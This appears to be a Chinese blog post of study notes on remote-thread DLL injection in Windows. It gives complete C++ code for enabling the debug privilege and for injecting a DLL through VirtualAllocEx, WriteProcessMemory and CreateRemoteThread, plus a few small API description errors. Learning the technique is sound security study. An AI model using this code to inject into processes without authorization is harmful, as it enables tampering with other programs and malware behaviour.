DLL注入:远线程注入

                              本人学习《Windows黑客编程技术详解》所做的学习笔记

  • 简介:远线程注入即,一个进程在目标进程中创建一个线程来执行注入操作。
  • 大致思路:自身进程权限提升->打开目标进程->在目标进程虚拟地址空间分配内存->将数据写入内存->创建线程并执行注入

1,自身进程权限提升

原因及目的:在枚举访问系统进程中,会出现权限不足的情况,于是这个时候我们便需要去调用函数提升自身权限

GetCurrentProcess()/** 获取当前进程句柄**/

这时获取了进程句柄后,我们要将进程的权限设置为SE_DEBUG_NAME

接下来我们将要调用OpenProcessToken,LookupPrivilegeValue,AdjustTokenPrivileges三个WINDOW API函数进行提权

1, OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken); 得到进程的令牌句柄
TOKEN_ADJUST_PRIVILEGES 修改令牌的访问权限

BOOL OpenProcessToken(
HANDLE ProcessHandle, //进程句柄
DWORD DesiredAccess,  //操作类型
PHANDLE TokenHandle   //访问令牌的指针
);

2, LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue); 查看TOKEN获取LUID

BOOL WINAPI LookupPrivilegeValue( 
  __in_opt      LPCTSTR lpSystemName, //系统名称,本系统就NULL
  __in          LPCTSTR lpName,       //查看的特权名字
  __out         PLUID lpLuid          //返回的LUID
);  

3, AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL); 修改进程权限

BOOL AdjustTokenPrivileges(
HANDLE TokenHandle,              //令牌句柄
BOOL DisableAllPrivileges,       //决定是进行权限修改还是除能(Disable)所有权限
PTOKEN_PRIVILEGES NewState,      //指明要修改的权限
DWORD BufferLength,              //PreviousState的长度,PreviousState为空,该参数应为NULL
PTOKEN_PRIVILEGES PreviousState, //指向TOKEN_PRIVILEGES结构的指针,存放修改前访问权限的信息,可空;
PDWORD ReturnLength              //实际PreviousState结构返回的大小
);
typedef struct _TOKEN_PRIVILEGES {
DWORD PrivilegeCount;            //数组长度
LUID_AND_ATTRIBUTES Privileges[];
} TOKEN_PRIVILEGES, *PTOKEN_PRIVILEGES;

typedef struct _LUID_AND_ATTRIBUTES {
LUID Luid;       //权限的类型,是一个LUID的值
DWORD Attributes;//进行的操作类型,有三个可选项: SE_PRIVILEGE_ENABLED、SE_PRIVILEGE_ENABLED_BY_DEFAULT、SE_PRIVILEGE_USED_FOR_ACCESS
} LUID_AND_ATTRIBUTES, *PLUID_AND_ATTRIBUTES

完整提取代码

//头文件
EnbalePrivileges(::GetCurrentProcess(), SE_DEBUG_NAME);

BOOL EnbalePrivileges(HANDLE hProcess, char *pszPrivilegesName)
{
	HANDLE hToken = NULL;
	LUID luidValue = { 0 };
	TOKEN_PRIVILEGES tokenPrivileges = { 0 };
	BOOL bRet = FALSE;
	DWORD dwRet = 0;


	// 打开进程令牌并获取具有 TOKEN_ADJUST_PRIVILEGES 权限的进程令牌句柄
	bRet = ::OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
	if (FALSE == bRet)
	{
		std::cout << "OpenProcessToken";
		return FALSE;
	}
	// 获取本地系统的 pszPrivilegesName 特权的LUID值
	bRet = ::LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue);
	if (FALSE == bRet)
	{
		std::cout<< "LookupPrivilegeValue";
		return FALSE;
	}
	// 设置提升权限信息
	tokenPrivileges.PrivilegeCount = 1;
	tokenPrivileges.Privileges[0].Luid = luidValue;
	tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	// 提升进程令牌访问权限
	bRet = ::AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL);
	if (FALSE == bRet)
	{
		std::cout<<"AdjustTokenPrivileges";
		return FALSE;
	}
	else
	{
		// 根据错误码判断是否特权都设置成功
		dwRet = ::GetLastError();
		if (ERROR_SUCCESS == dwRet)
		{
			return TRUE;
		}
		else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
		{
			std::cout<<"ERROR_NOT_ALL_ASSIGNED";
			return FALSE;
		}
	}

	return FALSE;
}

2, 远线程注入操作

在实现完进程提权后,我们就可以编写线程注入代码了。

接下来我们将要调用OpenProcess,VirtualAllocEx,WriteProcessMemory,GetProcAddress,CreateRemoteThread 五个Windows API函数进行注入

远线程注入的原理

最重要的既是CreateRemoteThread函数,他获取目标进程空间中的多线程函数地址以及多线程参数,来创建一个新的线程并调用LoadLibrary函数

我们要怎么获取目标函数地址呢?在进程加载DLL时会要调用一个LoadLibrary的函数,而函数参数只有一个即DLL的路径字符串,即使有ASLR基址随机化回随机DLL的加载基址,但是在系统kernel32.dll的加载基址基本上是不同的,所以函数地址不会改变,这样我们就可以通过CreateRemoteThread函数获取LoadLibrary的函数地址。

通过VirtualAllocEx在目标进程中分配虚拟内存,WriteProcessMemory将我们要注入的DLL路径写入进去即可实现远线程DLL注入!

1, OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId) 打开本地现有进程

HANDLE WINAPI OpenProcess{
_In_ DWORD dwDesiredAccess, //此参数代表着进程访问权限
_In_ BOOL bInheritHandle,   //为True则此进程创建的进程将继承该句柄
_In_ DWORD dwProcessId,     //打开本地进程PID
}

2, VirtualAllocEx(PROCESS_ALL_ACCESS, FALSE, dwProcessId) 在指定进程的虚拟地址空间中保留,提交,更改内存状态

句柄必须拥有PROCESS_VM_OPERATION权限

LPVOID WINAPI VirtualAllocEx{
_In_ HANDLE hProcess,       //句柄
_In_opt_ LPVOID lpAddress,  //分配页面所需的起始地址,若为NULL则自动分配
_In_ SIZE_T dwSize,         //大小
_In_ DWORD flAllocationType,//内存放分配的类型
_In_ DWORD flProtect        //要分配页面区域的内存保护
}

3, WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))将数据写入进程

4,CreateRemoteThread(hProcess, NULL, 0,(LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, NULL);

HANDLE CreateRemoteThread(
  HANDLE hProcess,                          // 创建线程的进程句柄
  LPSECURITY_ATTRIBUTES lpThreadAttributes, // 指定新线程的安全描述符
  SIZE_T dwStackSize,                       // 堆栈大小,0则为新线程使用可执行文件的默认大小
  LPTHREAD_START_ROUTINE lpStartAddress,    // 函数地址,该函数必须在该进程中存在
  LPVOID lpParameter,                       // 参数,变量
  DWORD dwCreationFlags,                    // 控制线程创建的标准,若为0,则表示线程创建后立即执行
  LPDWORD lpThreadId                        // 指向接受线程标识符的变量指针
);

完整代码

// 使用 CreateRemoteThread 实现远线程注入
BOOL CreateRemoteThreadInjectDll(DWORD dwProcessId,const char *pszDllFileName)
{ 

	HANDLE hProcess = NULL;
	SIZE_T dwSize = 0;
	LPVOID pDllAddr = NULL;
	FARPROC pFuncProcAddr = NULL;

	// 打开注入进程,获取进程句柄
	hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
	if (NULL == hProcess)
	{
		std::cout<<"OpenProcess" << std::endl;
		return FALSE;
	}
	// 在注入进程中申请内存
	dwSize = 1 + ::lstrlen(pszDllFileName);
	pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
	if (NULL == pDllAddr)
	{
		std::cout<<"VirtualAllocEx" << std::endl;
		return FALSE;
	}
	// 向申请的内存中写入数据
	if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
	{
		std::cout<<"WriteProcessMemory" << std::endl;
		return FALSE;
	}
	// 获取LoadLibraryA函数地址
	pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
	if (NULL == pFuncProcAddr)
	{
		std::cout<<"GetProcAddress_LoadLibraryA"<< std::endl;
		return FALSE;
	}
	// 使用 CreateRemoteThread 创建远线程, 实现 DLL 注入
	HANDLE hRemoteThread = ::CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, NULL);
	if (NULL == hRemoteThread)
	{
		std::cout<<"CreateRemoteThread"<< std::endl;
		return FALSE;
	}
	std::cout << hRemoteThread;
	// 关闭句柄
	::CloseHandle(hProcess);

	return TRUE;
}

3, 学习中出现的问题

上述工作完成之后,即可选择dll以及进程进行注入了。

提权失败

问题原因:在提权过程中呢,会出现提权失败的过程,这是因为在Win7系统中,分配给普通用户的权利变少了,无法进行DEBUG,只有Admin才是真正的老大

问题解决:以管理员的身份进行运行才能提权成功

系统进程注入不成功

问题原因:由于系统进程的SESSION 0 会话隔离的安全机制,这种注入并不能突破SESSION 0隔离

问题解决:SESSION 0隔离的远线程注入,还在学。。。

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值